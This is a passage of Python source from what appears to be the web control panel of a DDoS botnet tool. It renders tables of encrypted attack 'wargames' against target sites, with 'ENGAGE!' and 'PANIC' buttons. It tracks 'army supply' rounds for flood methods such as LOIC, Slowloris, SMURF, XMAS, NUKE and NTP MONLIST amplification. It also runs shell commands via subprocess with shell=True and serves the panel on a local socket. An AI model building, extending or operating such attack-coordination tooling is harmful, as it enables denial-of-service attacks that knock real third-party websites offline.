  4962. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  4963. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  4964. else:
  4965. wargames_autopanel = ""
  4966. wargames_supply = ""
  4967. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  4968. f = open("/tmp/out", "w")
  4969. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  4970. wargames_id = 1
  4971. for m in self.list_wargames_rev: # list = creation, target, estimated
  4972. if wargames_msg_sep in m:
  4973. m = m.split(wargames_msg_sep)
  4974. wargames_creation = m[0] # creation date
  4975. self.decrypt(wargames_deckey, wargames_creation)
  4976. if self.decryptedtext:
  4977. wargames_creation = self.decryptedtext
  4978. else:
  4979. wargames_creation = nodec_text
  4980. self.decryptedtext = "" # clean decryptedtext buffer
  4981. wargames_target = m[1] # target
  4982. wargames_target_joined = wargames_target
  4983. self.decrypt(wargames_deckey, wargames_target)
  4984. if self.decryptedtext:
  4985. wargames_target = self.decryptedtext
  4986. if wargames_target.startswith("www."):
  4987. wargames_target = wargames_target.replace("www.","")
  4988. else:
  4989. wargames_target = nodec_text
  4990. self.decryptedtext = "" # clean decryptedtext buffer
  4991. wargames_estimated = m[2] # estimated time
  4992. self.decrypt(wargames_deckey, wargames_estimated)
  4993. if self.decryptedtext:
  4994. wargames_estimated = self.decryptedtext
  4995. wargames_join_flag = True
  4996. else:
  4997. wargames_estimated = nodec_text
  4998. self.decryptedtext = "" # clean decryptedtext buffer
  4999. else:
  5000. wargames_target = "KEY?"
  5001. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  5002. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  5003. try:
  5004. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  5005. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  5006. except: # discarding errors also on panel
  5007. wargames_creation = now
  5008. wargames_estimated = now
  5009. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  5010. wargames_creation = now
  5011. wargames_estimated = now
  5012. if (now >= wargames_estimated) == False: # change flag color when time is out
  5013. time_now = time.mktime(now)
  5014. time_estimated = time.mktime(wargames_estimated)
  5015. wargames_eta = (time_estimated - time_now)
  5016. hours, rem = divmod(wargames_eta, 3600)
  5017. minutes, seconds = divmod(rem, 60)
  5018. if "!!!" in wargames_target_joined:
  5019. status = "JOINED!"
  5020. wargames_status = "<font color='cyan'>"+status+"</font>"
  5021. if wargames_join_flag == True:
  5022. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  5023. else:
  5024. wargames_join = "KEY?" # present but with a different crypto-key
  5025. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  5026. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5027. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  5028. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5029. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  5030. else:
  5031. status = "-ONGOING-"
  5032. wargames_status = "<font color='orange'>"+status+"</font>"
  5033. if wargames_join_flag == True:
  5034. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  5035. else:
  5036. wargames_join = "KEY?" # present but with a different crypto-key
  5037. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  5038. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5039. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  5040. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5041. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  5042. else:
  5043. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5044. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  5045. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5046. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  5047. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  5048. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  5049. status = "-CLOSED-"
  5050. wargames_status = "<font color='red'>"+status+"</font>"
  5051. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  5052. wargames_id = wargames_id + 1
  5053. wargames_table += "</table><br>"
  5054. f.write(wargames_table)
  5055. f.write(end_mark)
  5056. f.close()
  5057. if page == "/cmd_decrypt_wargames_update":
  5058. if not os.path.exists('/tmp/out'):
  5059. open('/tmp/out', 'w').close()
  5060. with open('/tmp/out', 'r') as f:
  5061. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  5062. if page == "/blackholes":
  5063. self.pages["/blackholes"] = self.html_blackholes()
  5064. if page == "/requests":
  5065. if pGet=={}:
  5066. self.pages["/requests"] = self.html_requests()
  5067. else:
  5068. self.save_cfg(pGet)
  5069. self.pages["/requests"] = self.html_request_submit()
  5070. if page == "/abduction":
  5071. self.pages["/abduction"] = self.html_abduction()
  5072. if page == "/stats":
  5073. self.pages["/stats"] = self.html_stats()
  5074. if page == "/wormhole":
  5075. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  5076. ctype = "text/html"
  5077. if page.find(".js") != -1:
  5078. ctype = "application/javascript"
  5079. elif page.find(".txt") != -1:
  5080. ctype = "text/plain"
  5081. elif page.find(".ico") != -1:
  5082. ctype = "image/x-icon"
  5083. elif page.find(".png") != -1:
  5084. ctype = "image/png"
  5085. elif page.find(".css") != -1:
  5086. ctype = "text/css"
  5087. if page in self.pages:
  5088. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  5089. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  5090. class Command(object):
  5091. def __init__(self, cmd):
  5092. self.cmd = cmd
  5093. self.process = None
  5094. def run(self, timeout):
  5095. def target():
  5096. self.process = subprocess.Popen(self.cmd, shell=True)
  5097. thread = threading.Thread(target=target)
  5098. thread.start()
  5099. thread.join(timeout)
  5100. if thread.is_alive():
  5101. self.process.terminate()
  5102. thread.join()
  5103. if __name__ == "__main__":
  5104. webbrowser.open('http://127.0.0.1:9999', new=1)
  5105. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5106. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  5107. tcpsock.bind((host, port))
  5108. while True:
  5109. tcpsock.listen(4)
  5110. (clientsock, (ip, c_port)) = tcpsock.accept()
  5111. newthread = ClientThread(ip, c_port, clientsock)
  5112. newthread.start()